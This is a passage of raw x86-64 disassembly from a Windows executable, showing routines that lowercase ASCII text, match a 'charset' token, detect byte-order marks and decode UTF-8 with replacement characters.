xor rax, r14
cmp rax, 3
mov ecx, 1
cmovae rax, rcx
test rax, rax
mov qword [rsp + 0x68], r8
je 0x1400089df
cmp rax, 1
jne 0x140008a48
mov rcx, rsi
call fcn.1400f4dd8
mov qword [rsp + 0x118], rax
mov rcx, rdx
mov rdx, rbx
mov rbx, rcx
mov r8, rsi
call sub.msvcrt.dll_memcpy
mov r10, qword [rsp + 0x50]
mov r8, qword [rsp + 0x68]
test r12, r12
je 0x140008b30
cmp rsi, r12
jbe 0x140008b0c
cmp byte [rbx + r12], 0xbf
jg 0x140008b12
jmp 0x14000b369
mov rax, qword [rsp + 0x78]
and rax, 0xffffffffffffff00
or rax, 1
mov qword [rsp + 0x78], rax
mov rsi, qword [rsp + 0x268]
movabs r14, 0x8000000000000000
mov rcx, qword [rsp + 0x2e0]
mov rdx, qword [rsp + 0x2e8]
call fcn.14004f0ac
movabs r9, 0x100003600
mov r12, qword [rsp + 0x2b0]
mov rdi, qword [rsp + 0x58]
mov rcx, rsi
mov qword [rsp + 0x2b0], r12
mov rax, qword [rsp + 0x78]
shr rax, 0x10
mov qword [rsp + 0x238], rax
mov qword [rsp + 0x268], rcx
mov qword [rsp + 0x90], rcx
jmp 0x14000795d
mov rcx, rsi
call fcn.1400f4dd8
mov qword [rsp + 0x118], rax
mov rcx, rdx
mov rdi, rdx
mov rdx, rbx
mov r8, rsi
call sub.msvcrt.dll_memcpy
test rsi, rsi
je 0x140008aeb
xor eax, eax
mov rbx, rdi
mov r8, qword [rsp + 0x68]
mov r10, qword [rsp + 0x50]
mov cl, byte [rbx + rax]
lea edx, [rcx - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, cl
mov byte [rbx + rax], dl
inc rax
cmp rsi, rax
jne 0x140008a18
movabs r9, 0x100003600
mov rdi, qword [rsp + 0x58]
jmp 0x140008cc5
mov rdi, qword [rsp + 0x90]
cmp rdi, rsi
jae 0x140008a60
cmp byte [rbx + rdi], 0xbf
jg 0x140008a66
jmp 0x14000b34c
jne 0x14000b34c
mov rcx, rdi
call fcn.1400f4dd8
mov qword [rsp + 0x118], rax
mov rcx, rdx
mov rdx, rbx
mov rbx, rcx
mov r8, rdi
call sub.msvcrt.dll_memcpy
xor eax, eax
mov rsi, rdi
mov cl, byte [rbx + rax]
lea edx, [rcx - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, cl
mov byte [rbx + rax], dl
inc rax
cmp rsi, rax
jne 0x140008a8c
movabs r9, 0x100003600
jmp 0x140008af8
mov rax, qword [rsp + 0x78]
and rax, 0xffffffffffffff00
or rax, 2
jmp 0x14000896b
mov rax, qword [rsp + 0x78]
and rax, 0xffffffffffff0000
shl rdx, 8
add rax, rdx
add rax, 3
mov qword [rsp + 0x78], rax
mov rsi, r11
jmp 0x140008978
movabs r9, 0x100003600
mov rbx, rdi
mov rdi, qword [rsp + 0x58]
mov r8, qword [rsp + 0x68]
mov r10, qword [rsp + 0x50]
jmp 0x140008cc5
jne 0x14000b369
xor eax, eax
mov cl, byte [rbx + rax]
lea edx, [rcx - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, cl
mov byte [rbx + rax], dl
inc rax
cmp r12, rax
jne 0x140008b14
mov rax, qword [rsp + 0x60]
test rax, rax
je 0x140008cbb
shl rax, 5
mov rcx, qword [rsp + 0x78]
add rax, rcx
mov r8, qword [rcx]
mov r9, qword [rcx + 8]
cmp r9, r8
jb 0x14000b2af
test r8, r8
je 0x140008b76
cmp r8, rsi
jae 0x140008b70
cmp byte [rbx + r8], 0xc0
jge 0x140008b76
jmp 0x14000b2af
jne 0x14000b2af
test r9, r9
je 0x140008b92
cmp r9, rsi
jae 0x140008b8c
cmp byte [rbx + r9], 0xc0
jge 0x140008b92
jmp 0x14000b2af
jne 0x14000b2af
mov rdx, r9
sub rdx, r8
je 0x140008bc4
mov r10, r8
mov r11b, byte [rbx + r10]
lea edi, [r11 - 0x41]
cmp dil, 0x1a
mov rdi, rbx
setb bl
shl bl, 5
or bl, r11b
mov byte [rdi + r10], bl
mov rbx, rdi
inc r10
cmp r9, r10
jne 0x140008b9d
test r8, r8
mov rdi, qword [rsp + 0x58]
je 0x140008be5
cmp r8, rsi
jae 0x140008bdf
cmp byte [rbx + r8], 0xc0
jge 0x140008be5
jmp 0x14000b2d5
jne 0x14000b2d5
test r9, r9
je 0x140008c01
cmp r9, rsi
jae 0x140008bfb
cmp byte [rbx + r9], 0xbf
jg 0x140008c01
jmp 0x14000b2d5
jne 0x14000b2d5
cmp rdx, 7
jne 0x140008c98
mov edx, dword [rbx + r8]
mov r9d, 0x72616863
xor edx, r9d
mov r8d, dword [rbx + r8 + 3]
mov r9d, 0x74657372
xor r8d, r9d
or r8d, edx
jne 0x140008c98
mov r8, qword [rcx + 0x10]
mov r9, qword [rcx + 0x18]
cmp r8, r9
ja 0x14000b2fc
test r8, r8
je 0x140008c58
cmp r8, rsi
jae 0x140008c52
cmp byte [rbx + r8], 0xc0
jge 0x140008c58
jmp 0x14000b2fc
jne 0x14000b2fc
test r9, r9
je 0x140008c93
cmp r9, rsi
jae 0x140008c6e
cmp byte [rbx + r9], 0xc0
jge 0x140008c93
jmp 0x14000b2fc
je 0x140008c93
jmp 0x14000b2fc
mov dl, byte [rbx + r8]
lea r10d, [rdx - 0x41]
cmp r10b, 0x1a
setb r10b
shl r10b, 5
or r10b, dl
mov byte [rbx + r8], r10b
inc r8
cmp r9, r8
jne 0x140008c75
add rcx, 0x20
cmp rcx, rax
mov r10, qword [rsp + 0x50]
jne 0x140008b4a
movabs r9, 0x100003600
mov r8, qword [rsp + 0x68]
jmp 0x140008cc5
movabs r9, 0x100003600
mov qword [rsp + 0x240], rbx
mov edx, r8d
shr edx, 8
mov rax, r8
shr rax, 0x10
mov qword [rsp + 0x238], rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x268], rax
mov qword [rsp + 0x2b0], r12
mov qword [rsp + 0x2d0], r12
mov qword [rsp + 0x2c8], rax
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x480], rax
mov rcx, qword [rsp + 0x48]
jmp 0x140007a9d
mov rax, qword [rsp + 0x78]
and rax, 0xffffffffffff0000
shl rdx, 8
add rax, rdx
add rax, 3
mov qword [rsp + 0x78], rax
mov rsi, rdi
jmp 0x140008978
mov al, 0x20
mov rsi, r10
mov rcx, qword [rsp + 0x78]
and rcx, 0xffffffffffff0000
movzx eax, al
shl rax, 8
add rcx, rax
add rcx, 3
mov qword [rsp + 0x78], rcx
jmp 0x140008978
mov cl, 0x22
mov rdx, qword [rsp + 0x78]
and rdx, 0xffffffffffff0000
movzx eax, cl
shl rax, 8
add rdx, rax
add rdx, 3
mov qword [rsp + 0x78], rdx
mov rsi, qword [rsp + 0x48]
jmp 0x140008978
mov rdx, qword [rax]
mov rcx, r15
mov r8, rbx
call fcn.1400549f1
mov rcx, qword [rsp + 0x150]
cmp rcx, 2
jne 0x140008dcf
mov al, 5
mov byte [rsp + 0x7e9], al
mov al, 3
mov byte [rsp + 0x830], al
mov byte [rsp + 0x838], al
jmp 0x140009a15
mov rax, qword [rsp + 0x158]
mov rdx, qword [rsp + 0x160]
movups xmm0, xmmword [rbp + 8]
movaps xmmword [rsp + 0xa0], xmm0
test rcx, rcx
je 0x140008e48
test rax, rax
je 0x140008e9a
movdqa xmm0, xmmword [rsp + 0xa0]
lea rcx, [rsp + 0xd0]
movdqu xmmword [rcx], xmm0
mov qword [rsp + 0xc0], rax
mov qword [rsp + 0xc8], rdx
lea rcx, [rsp + 0x7f0]
lea rdx, [rsp + 0xc0]
call fcn.1400a4721
lea rax, [rsp + 0x7e0]
mov qword [rsp + 0x808], rax
jmp 0x140008d95
lea rcx, [rsp + 0x7f0]
mov rax, qword [rcx + 0x10]
mov qword [rsp + 0xb0], rax
movups xmm0, xmmword [rcx]
movaps xmmword [rsp + 0xa0], xmm0
mov rcx, r15
lea rdx, [rsp + 0xa0]
call fcn.140013b05
mov rsi, qword [rsp + 0x150]
mov rax, qword [rsp + 0x158]
mov qword [rsp + 0x58], rax
movups xmm0, xmmword [rbp]
movaps xmmword [rsp + 0x250], xmm0
jmp 0x140008ef5
cmp qword [rsp + 0x7f0], 0
je 0x140008ec1
mov r8, qword [rsp + 0x7f8]
mov rcx, qword [0x14019e0f8]
mov rsi, rdx
xor edx, edx
call fcn.1400fdef8
mov rdx, rsi
xor esi, esi
mov qword [rsp + 0x58], rdx
cmp byte [rsp + 0x7e8], 0
je 0x140008ef5
mov rax, qword [rsp + 0x7c0]
mov rdx, qword [rsp + 0x7c8]
mov r8, qword [rsp + 0x7d0]
lea rcx, [rsp + 0x7d8]
call qword [rax + 8]
mov byte [rsp + 0x7e8], 0
lea rcx, [rsp + 0x7a0]
call fcn.140052e72
movaps xmm0, xmmword [rsp + 0x250]
movaps xmmword [rsp + 0x440], xmm0
mov bl, 1
mov byte [rsp + 0x7e9], bl
movaps xmmword [rsp + 0x290], xmm0
mov rcx, r13
call fcn.1400a6b17
lea rcx, [rsp + 0x6e8]
call fcn.140052f4a
mov rcx, qword [rsp + 0x748]
call fcn.14008bcc8
mov rcx, qword [rsp + 0x770]
call fcn.140052ef1
movdqa xmm0, xmmword [rsp + 0x290]
movdqa xmmword [rsp + 0x140], xmm0
mov byte [rsp + 0x830], bl
mov rcx, r12
call fcn.1400a6ab6
test rsi, rsi
je 0x140008fd6
movdqa xmm0, xmmword [rsp + 0x140]
lea rax, [rsp + 0x130]
movdqu xmmword [rax], xmm0
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x120], rsi
mov r8, qword [rsp + 0x58]
mov qword [rsp + 0x128], r8
mov rdi, qword [rsp + 0x648]
mov rdx, qword [rsp + 0x130]
cmp rdx, 3
jae 0x140008ff0
cmp rdx, 2
je 0x140009009
mov r10, r8
mov rbp, rdx
jmp 0x140009059
mov rdi, r14
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x60], rax
lea rbx, [rsp + 0x108]
jmp 0x1400099d6
movzx eax, word [r8]
xor eax, 0xbbef
movzx ecx, byte [r8 + 2]
xor ecx, 0xbf
or cx, ax
je 0x140009038
movzx eax, word [r8]
mov ecx, 2
cmp eax, 0xfeff
je 0x14000902f
cmp word [r8], 0xfffe
lea rax, [0x140158ee0]
mov r10, r8
mov rbp, rdx
jne 0x140009059
jmp 0x140009044
lea rax, [0x140158ee8]
jmp 0x140009044
mov ecx, 3
lea rax, [0x140158ef0]
mov rbp, rdx
sub rbp, rcx
jb 0x14000b23b
mov rdi, qword [rax]
add rcx, r8
mov r10, rcx
lea rax, [0x14012e400]
cmp rdi, rax
lea rcx, [0x14012e3d8]
mov qword [rsp + 0x48], rdx
je 0x1400090be
lea rax, [0x14012e4b0]
cmp rdi, rax
je 0x1400090be
cmp rdi, rcx
je 0x1400090be
lea rax, [0x14012e428]
cmp rdi, rax
je 0x1400091c0
lea rax, [0x14012e0c0]
cmp rdi, rax
je 0x1400091d9
mov eax, r10d
neg eax
and eax, 7
lea rcx, [rax + 0x10]
cmp rcx, rbp
jbe 0x14000920c
xor eax, eax
jmp 0x140009250
mov qword [rsp + 0x80], r10
mov dl, byte [rdi]
mov r8, qword [rdi + 8]
mov rcx, r15
call fcn.140023b3f
mov qword [rsp + 0x170], rdi
mov byte [rsp + 0x178], 9
mov rcx, r15
mov rdx, rbp
call fcn.140023bdf
mov rdi, rax
mov rsi, rdx
mov rcx, r15
mov rdx, rbp
call fcn.140023d4d
cmp rdi, 1
jne 0x14000913b
lea rcx, [rsi - 1]
bsr rcx, rcx
not ecx
mov r8, 0xffffffffffffffff
shr r8, cl
inc r8
cmp rsi, 2
mov ecx, 1
cmovb r8, rcx
cmp r8, rdx
cmovb rdx, r8
cmp rax, 1
cmovne rdx, r8
jmp 0x140009144
test rax, rax
je 0x14000b282
mov rcx, rdx
call fcn.1400f4dd8
movdqu xmm0, xmmword [rsp + 0x150]
movdqu xmm1, xmmword [rsp + 0x160]
movups xmm2, xmmword [rsp + 0x170]
movdqa xmmword [rsp + 0x2e0], xmm0
movaps xmmword [rsp + 0x300], xmm2
movdqa xmmword [rsp + 0x2f0], xmm1
movaps xmmword [rsp + 0x170], xmm2
movdqa xmmword [rsp + 0x160], xmm1
movdqa xmmword [rsp + 0x150], xmm0
mov qword [rsp + 0xa0], rax
mov qword [rsp + 0xa8], rdx
mov qword [rsp + 0xb0], 0
xor ebx, ebx
mov r10b, 5
jmp 0x1400093d5
mov rcx, r10
mov rdx, rbp
mov rsi, r10
call fcn.140023ed9
mov r10, rsi
mov rbx, rax
jmp 0x140009290
xor eax, eax
cmp rbp, rax
je 0x140009298
mov rbx, rax
movzx ecx, byte [r10 + rax]
test cl, cl
js 0x140009290
lea rax, [rbx + 1]
cmp ecx, 0x1b
ja 0x1400091db
mov edx, 0x800c000
bt edx, ecx
jae 0x1400091db
jmp 0x140009290
test rax, rax
je 0x140009222
xor ebx, ebx
cmp byte [r10 + rbx], 0
js 0x140009290
inc rbx
cmp rax, rbx
jne 0x140009213
lea rcx, [rbp - 0x10]
mov rdx, qword [r10 + rax]
movabs r9, 0x8080808080808080
and rdx, r9
mov r8, qword [r10 + rax + 8]
and r8, r9
mov r9, r8
or r9, rdx
jne 0x140009269
add rax, 0x10
cmp rax, rcx
jbe 0x140009226
mov rbx, rax
cmp rax, rbp
jae 0x140009298
cmp byte [r10 + rbx], 0
js 0x140009290
inc rbx
cmp rbp, rbx
jne 0x140009258
jmp 0x140009298
test rdx, rdx
je 0x140009277
bsf rbx, rdx
shr ebx, 3
jmp 0x14000928d
test r8, r8
je 0x140009282
bsf rbx, r8
jmp 0x140009287
mov ebx, 0x40
shr ebx, 3
add ebx, 8
add rbx, rax
mov rsi, rbp
sub rsi, rbx
jne 0x1400092a5
lea rbx, [rsp + 0x108]
jmp 0x140009972
mov qword [rsp + 0x80], r10
mov dl, byte [rdi]
mov r8, qword [rdi + 8]
mov rcx, r15
call fcn.140023b3f
mov qword [rsp + 0x170], rdi
mov byte [rsp + 0x178], 9
mov rcx, r15
mov rdx, rsi
call fcn.140023bdf
cmp rax, 1
setne al
add rdx, rbx
setb dil
or dil, al
jne 0x14000930d
lea rax, [rdx - 1]
bsr rcx, rax
not ecx
mov r14, 0xffffffffffffffff
shr r14, cl
inc r14
cmp rdx, 2
mov eax, 1
cmovb r14, rax
mov rcx, r15
mov rdx, rsi
call fcn.140023d4d
cmp rax, 1
setne cl
add rdx, rbx
setb al
or al, cl
test dil, dil
je 0x140009335
test al, al
je 0x140009342
jmp 0x14000b2b8
cmp r14, rdx
cmovb rdx, r14
test al, al
cmovne rdx, r14
mov rcx, rdx
call fcn.1400f4dd8
mov rsi, rax
mov rdi, rdx
mov rcx, rdx
mov rdx, qword [rsp + 0x80]
mov r8, rbx
call sub.msvcrt.dll_memcpy
movdqu xmm0, xmmword [rsp + 0x150]
movdqu xmm1, xmmword [rsp + 0x160]
movups xmm2, xmmword [rsp + 0x170]
movaps xmmword [rsp + 0x300], xmm2
movdqa xmmword [rsp + 0x2f0], xmm1
movdqa xmmword [rsp + 0x2e0], xmm0
movaps xmmword [rsp + 0x170], xmm2
movdqa xmmword [rsp + 0x160], xmm1
movdqa xmmword [rsp + 0x150], xmm0
mov qword [rsp + 0xa0], rsi
mov qword [rsp + 0xa8], rdi
mov qword [rsp + 0xb0], rbx
cmp rbp, rbx
mov r10b, 5
jb 0x14000b28e
mov rax, rbx
mov qword [rsp + 0xf8], rbp
mov rdi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0xb0]
mov r14, rdi
sub r14, rcx
lea r11, [0x1401020d8]
jb 0x14000b22c
mov r12, rbp
sub r12, rax
mov rdx, rax
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x280], rdx
add rax, rdx
mov qword [rsp + 0x88], rax
mov rdx, qword [rsp + 0xa8]
mov rax, rdx
mov qword [rsp + 0x60], rdx
mov qword [rsp + 0x70], rcx
add rdx, rcx
xor ebx, ebx
xor ebp, ebp
mov qword [rsp + 0x98], rdi
mov qword [rsp + 0x110], rdx
mov rdi, r14
sub rdi, rbp
jb 0x14000b1f8
mov rax, qword [rsp + 0x88]
lea rsi, [rax + rbx]
mov r15, r12
sub r15, rbx
lea rax, [rdx + rbp]
mov qword [rsp + 0x50], rax
movzx eax, byte [rsp + 0x178]
movsxd r9, dword [r11 + rax*4]
add r9, r11
mov al, 9
movzx eax, al
mov cl, 7
movzx ecx, cl
mov dl, 6
movzx edx, dl
mov r8b, 4
movzx r8d, r8b
xor r13d, r13d
jmp r9
mov qword [rsp + 0x28], rdi
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x20], rax
mov byte [rsp + 0x38], 0xbb
mov qword [rsp + 0x30], 0
lea rcx, [rsp + 0xc0]
lea rdx, [rsp + 0x150]
mov r8, rsi
mov r9, r15
call fcn.1400241b1
mov al, byte [rsp + 0xc8]
mov r10b, 5
lea r13, [rsp + 0x780]
lea r15, [rsp + 0x150]
lea r11, [0x1401020d8]
mov rdi, qword [rsp + 0x98]
add rbx, qword [rsp + 0xc0]
add rbp, qword [rsp + 0xd0]
cmp al, 2
jb 0x1400098b9
cmp rbp, r14
jae 0x14000b162
mov rdx, qword [rsp + 0x110]
mov byte [rdx + rbp], 0xef
lea rcx, [rbp + 1]
cmp rcx, r14
jae 0x14000b16e
mov byte [rdx + rbp + 1], 0xbf
lea rcx, [rbp + 2]
cmp rcx, r14
jae 0x14000b177
mov byte [rdx + rbp + 2], 0xbd
add rbp, 3
cmp rbx, r12
jbe 0x140009453
jmp 0x14000b20a
mov qword [rsp + 0x28], rdi
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x20], rax
mov byte [rsp + 0x30], 1
lea rcx, [rsp + 0x2e0]
lea rdx, [rsp + 0x150]
mov r8, rsi
mov r9, r15
call fcn.140024565
mov al, byte [rsp + 0x2e8]
test al, al
jne 0x1400095ab
mov byte [rsp + 0x178], 0xa
movzx ecx, word [rsp + 0x2e9]
mov rdx, qword [rsp + 0x2e0]
mov r8, qword [rsp + 0x2f0]
mov byte [rsp + 0xc8], al
mov word [rsp + 0xc9], cx
mov qword [rsp + 0xc0], rdx
mov qword [rsp + 0xd0], r8
jmp 0x1400094e4
cmp r12, rbx
je 0x14000992e
movzx r9d, byte [rsi]
cmp r9d, 0xef
je 0x140009639
cmp r9d, 0xfe
je 0x140009624
cmp r9d, 0xff
jne case.default.0x140009621
mov byte [rsp + 0x178], 7
inc r13
movsxd r9, dword [r11 + rcx*4]
add r9, r11
jmp r9
mov byte [rsp + 0x178], 6
inc r13
movsxd r9, dword [r11 + rdx*4]
add r9, r11
jmp r9
mov byte [rsp + 0x178], 4
inc r13
movsxd r9, dword [r11 + r8*4]
add r9, r11
jmp r9
mov byte [rsp + 0x178], 9
movsxd r9, dword [r11 + rax*4]
add r9, r11
jmp r9
cmp r12, rbx
je 0x14000992e
cmp byte [rsi], 0xef
jne case.default.0x140009680
mov byte [rsp + 0x178], 4
inc r13
movsxd r9, dword [r11 + r8*4]
add r9, r11
jmp r9
mov byte [rsp + 0x178], 9
movsxd r9, dword [r11 + rax*4]
add r9, r11
jmp r9
cmp r12, rbx
je 0x14000992e
cmp byte [rsi], 0xfe
jne case.default.0x1400096b5
mov byte [rsp + 0x178], 6
inc r13
movsxd r9, dword [r11 + rdx*4]
add r9, r11
jmp r9
mov byte [rsp + 0x178], 9
movsxd r9, dword [r11 + rax*4]
add r9, r11
jmp r9
cmp r12, rbx
je 0x14000992e
cmp byte [rsi], 0xff
je case.default.0x1400096e7
mov byte [rsp + 0x178], 9
movsxd r9, dword [r11 + rax*4]
add r9, r11
jmp r9
mov byte [rsp + 0x178], 7
inc r13
movsxd r9, dword [r11 + rcx*4]
add r9, r11
jmp r9
cmp r13, r15
jae case.default.0x140009721
cmp byte [rsi + r13], 0xbb
jne case.default.0x140009721
mov byte [rsp + 0x178], 5
inc r13
movzx r9d, r10b
movsxd r9, dword [r11 + r9*4]
add r9, r11
jmp r9
cmp r13, r15
jae 0x140009818
cmp byte [rsi + r13], 0xbf
jne 0x140009818
mov byte [rsp + 0x178], 9
lea rax, [0x14012e428]
cmp qword [rsp + 0x170], rax
lea rdx, [rsp + 0x150]
je 0x14000988a
mov qword [rsp + 0x170], rax
mov rcx, rdx
mov dl, 1
jmp 0x14000987a
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x28], rdi
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x20], rax
mov byte [rsp + 0x38], 0xef
jmp 0x1400094c2
cmp r13, r15
jae 0x1400097fa
cmp byte [rsi + r13], 0xfe
jne 0x1400097fa
mov byte [rsp + 0x178], 9
lea rcx, [0x14012e400]
cmp qword [rsp + 0x170], rcx
lea rdx, [rsp + 0x150]
je 0x14000988a
mov qword [rsp + 0x170], rcx
mov rcx, rdx
mov dl, 0xb
jmp 0x14000987a
cmp r13, r15
jae 0x1400097dc
cmp byte [rsi + r13], 0xff
je 0x14000984c
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x28], rdi
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x20], rax
mov byte [rsp + 0x38], 0xfe
jmp 0x1400094c2
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x28], rdi
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x20], rax
mov byte [rsp + 0x38], 0xff
jmp 0x1400094c2
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x28], rdi
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0xc0]
lea rdx, [rsp + 0x150]
mov r8, rsi
mov r9, r15
call fcn.140024349
jmp 0x1400094dd
mov byte [rsp + 0x178], 9
lea rcx, [0x14012e3d8]
cmp qword [rsp + 0x170], rcx
lea rdx, [rsp + 0x150]
je 0x14000988a
mov qword [rsp + 0x170], rcx
mov rcx, rdx
mov dl, 0xa
xor r8d, r8d
call fcn.140023b3f
lea rdx, [rsp + 0x150]
inc r13
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x28], rdi
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0xc0]
mov r8, rsi
mov r9, r15
call fcn.1400244d1
jmp 0x1400094dd
add rbp, qword [rsp + 0x70]
mov qword [rsp + 0xb0], rbp
test al, al
je 0x140009a9c
add rbx, qword [rsp + 0x280]
mov rdx, qword [rsp + 0xf8]
sub rdx, rbx
mov rcx, r15
call fcn.140023d4d
test rax, rax
je 0x14000b2de
mov r8, rdx
sub rdi, rbp
cmp rdi, rdx
mov r10b, 5
jb 0x140009919
mov rax, rbx
mov rbp, qword [rsp + 0xf8]
cmp rbp, rbx
jae 0x1400093e0
jmp 0x14000b28e
lea rcx, [rsp + 0xa0]
mov rdx, rbp
call fcn.140023a8e
mov r10b, 5
jmp 0x140009900
add rbp, qword [rsp + 0x70]
mov qword [rsp + 0xb0], rbp
movabs r14, 0x8000000000000000
lea r12, [rsp + 0x650]
lea r13, [rsp + 0x780]
lea r15, [rsp + 0x150]
mov rdi, qword [rsp + 0x98]
cmp rdi, r14
lea rbx, [rsp + 0x108]
jne 0x1400099bc
mov rbp, qword [rsp + 0x48]
mov rcx, rbp
call fcn.1400f4dd8
mov rdi, rax
mov rcx, rdx
mov qword [rsp + 0x60], rdx
mov rsi, qword [rsp + 0x58]
mov rdx, rsi
mov r8, rbp
call sub.msvcrt.dll_memcpy
lea rcx, [rsp + 0x138]
mov rdx, rsi
mov r8, rbp
mov rax, qword [rsp + 0x68]
call qword [rax + 8]
cmp dword [rsp + 0x5f0], 2
jne 0x1400099e5
jmp 0x1400099f2
lea rcx, [rsp + 0x138]
mov rdx, qword [rsp + 0x58]
mov r8, qword [rsp + 0x48]
mov rax, qword [rsp + 0x68]
call qword [rax + 8]
cmp dword [rsp + 0x5f0], 2
mov qword [rsp + 0x48], rbp
je 0x1400099f2
lea rcx, [rsp + 0x5f0]
call fcn.1400a3f9c
mov byte [rsp + 0x838], 1
movabs rax, 0x8000000000000001
cmp rdi, rax
lea rbp, [rsp + 0x160]
jne 0x140009ab3
cmp dword [rsp + 0x100], 0x3b9aca00
jne 0x140009a29
call fcn.1400afcc0
jmp 0x140009a90
call fcn.1400b2280
mov r8d, edx
mov rcx, qword [rsp + 0x248]
cmp rax, rcx
jb 0x140009a4e
jne 0x140009ac7
cmp r8d, dword [rsp + 0x100]
jae 0x140009ac7
mov qword [rsp + 0x2e0], rcx
mov ecx, dword [rsp + 0x100]
mov dword [rsp + 0x2e8], ecx
lea rcx, [rsp + 0x2e0]
mov rdx, rax
call fcn.1400b2420
cmp edx, 0x3b9aca00
mov ecx, 0
cmove edx, ecx
mov ecx, 0
cmovne rcx, rax
call fcn.1400b30f0
mov al, byte [rsp + 0x838]
jmp 0x140007757
movabs r14, 0x8000000000000000
lea r12, [rsp + 0x650]
jmp 0x140009965
cmp rdi, r14
je 0x140009b0d
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x478], rax
jmp 0x140009b10
movzx eax, byte [rsp + 0x838]
test eax, eax
je 0x140009af9
cmp eax, 3
jne 0x140009b06
mov rcx, r12
call fcn.1400a6ab6
cmp dword [rsp + 0x5f0], 2
je 0x140009b06
lea rcx, [rsp + 0x5f0]
call fcn.1400a3f9c
jmp 0x140009b06
lea rcx, [rsp + 0x4b0]
call fcn.14008bc98
xor eax, eax
mov qword [rsp + 0x60], rax
mov rdi, r14
mov rax, qword [rsp + 0x430]
mov rcx, qword [rsp + 0x438]
call qword [rax + 0x18]
cmp rdi, r14
jne 0x140009b43
cmp qword [rsp + 0x60], 0
jne 0x140009b3e
mov cx, 5
call fcn.140054af8
mov qword [rsp + 0x60], rax
mov rdi, r14
jmp 0x140009b53
mov rax, qword [rsp + 0x478]
mov qword [rsp + 0x2b8], rax
mov rcx, qword [rsp + 0x2d8]
test rcx, rcx
je 0x140009b9a
mov rsi, qword [rsp + 0x2c0]
call qword [rsi]
mov r8, qword [rsp + 0x2d8]
cmp qword [rsi + 8], 0
je 0x140009b9a
mov rax, qword [rsp + 0x2c0]
cmp qword [rax + 0x10], 0x11
jb 0x140009b8c
mov r8, qword [r8 - 8]
mov rcx, qword [0x14019e0f8]
xor edx, edx
call fcn.1400fdef8
mov rcx, qword [rsp + 0x488]
test rcx, rcx
je 0x140009bb2
lock dec qword [rcx]
jne 0x140009bb2
call fcn.1400a4411
cmp rdi, r14
jne 0x140009bd9
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x4b0], rax
lea rdi, [rsp + 0x4b0]
mov rcx, rdi
call fcn.140001fc5
jmp 0x1400075d0
mov qword [rsp + 0x98], rdi
mov rcx, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x2b8]
mov r8d, 0xa
call fcn.140051577
mov rbx, rax
mov rdi, rdx
mov rcx, rdx
call fcn.1400f4dd8
mov qword [rsp + 0x58], rax
mov rsi, rdx
mov rcx, rdx
mov rdx, rbx
mov r8, rdi
call sub.msvcrt.dll_memcpy
xor eax, eax
mov qword [rsp + 0x4b0], rax
mov qword [rsp + 0x4b8], rdi
mov qword [rsp + 0x100], rsi
mov qword [rsp + 0x4c0], rsi
mov qword [rsp + 0x4c8], rdi
mov qword [rsp + 0x4d0], rax
mov qword [rsp + 0x4d8], rdi
mov qword [rsp + 0x4e0], 1
movabs rax, 0x2000000020
mov qword [rsp + 0x4e8], rax
mov word [rsp + 0x4f0], 1
lea rcx, [rsp + 0x290]
lea rdx, [rsp + 0x4b0]
call fcn.1400f5283
mov r13, qword [rsp + 0x2a0]
test r13, r13
je 0x14000b1d5
mov rsi, qword [rsp + 0x298]
mov rbx, qword [rsi + 8]
cmp rbx, 0x11
jne 0x140009cf4
mov rax, qword [rsi]
movdqu xmm0, xmmword [rax]
pcmpeqb xmm0, xmm7
movzx eax, byte [rax + 0x10]
movd xmm1, eax
pcmpeqb xmm1, xmm8
pand xmm1, xmm0
pmovmskb eax, xmm1
cmp eax, 0xffff
je 0x14000a244
mov rax, qword [rsp + 0x290]
mov qword [rsp + 0x248], rax
jmp 0x140009d13
mov rax, qword [rsp + 0x290]
test rbx, rbx
mov qword [rsp + 0x248], rax
je 0x14000a3bf
js 0x14000b2ea
mov r14, qword [rsi]
mov qword [rsp + 0x68], rsi
mov al, byte [0x14019e160]
xor ecx, ecx
mov rdx, rbx
call fcn.1400ddfb0
test rax, rax
je 0x14000b33f
mov r15, rax
mov rcx, rax
mov rdx, r14
mov r8, rbx
call sub.msvcrt.dll_memcpy
mov qword [rsp + 0x4b0], rbx
mov qword [rsp + 0x4b8], r15
mov qword [rsp + 0x4c0], rbx
mov byte [rsp + 0x4c8], 0
xor ecx, ecx
mov qword [rsp + 0x4d0], rcx
mov qword [rsp + 0x4d8], 8
mov qword [rsp + 0x4e0], rcx
mov qword [rsp + 0x538], rcx
mov qword [rsp + 0x548], rcx
mov word [rsp + 0x550], cx
movabs rax, 0x8000000000000000
mov qword [rsp + 0x4e8], rax
mov dword [rsp + 0x570], 0
mov word [rsp + 0x574], cx
mov eax, 6
mov dword [rsp + 0x508], eax
mov dword [rsp + 0x518], eax
mov dword [rsp + 0x528], eax
mov qword [rsp + 0x558], rcx
mov qword [rsp + 0x568], rcx
cmp r13, 1
je 0x140009eb1
shl r13, 4
mov rax, qword [rsp + 0x68]
add r13, rax
lea rbp, [rax + 0x10]
mov esi, 8
xor ebx, ebx
mov r12, qword [rbp]
mov r14, qword [rbp + 8]
test r14, r14
je 0x140009e3b
js 0x14000b2ea
mov al, byte [0x14019e160]
xor ecx, ecx
mov rdx, r14
call fcn.1400ddfb0
mov r15, rax
test rax, rax
jne 0x140009e41
jmp 0x14000b2ef
mov r15d, 1
mov rcx, r15
mov rdx, r12
